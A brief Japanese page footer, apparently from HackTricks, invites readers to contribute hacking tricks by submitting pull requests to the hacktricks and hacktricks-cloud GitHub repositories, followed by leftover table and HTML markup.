- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||
|
||
</details>
|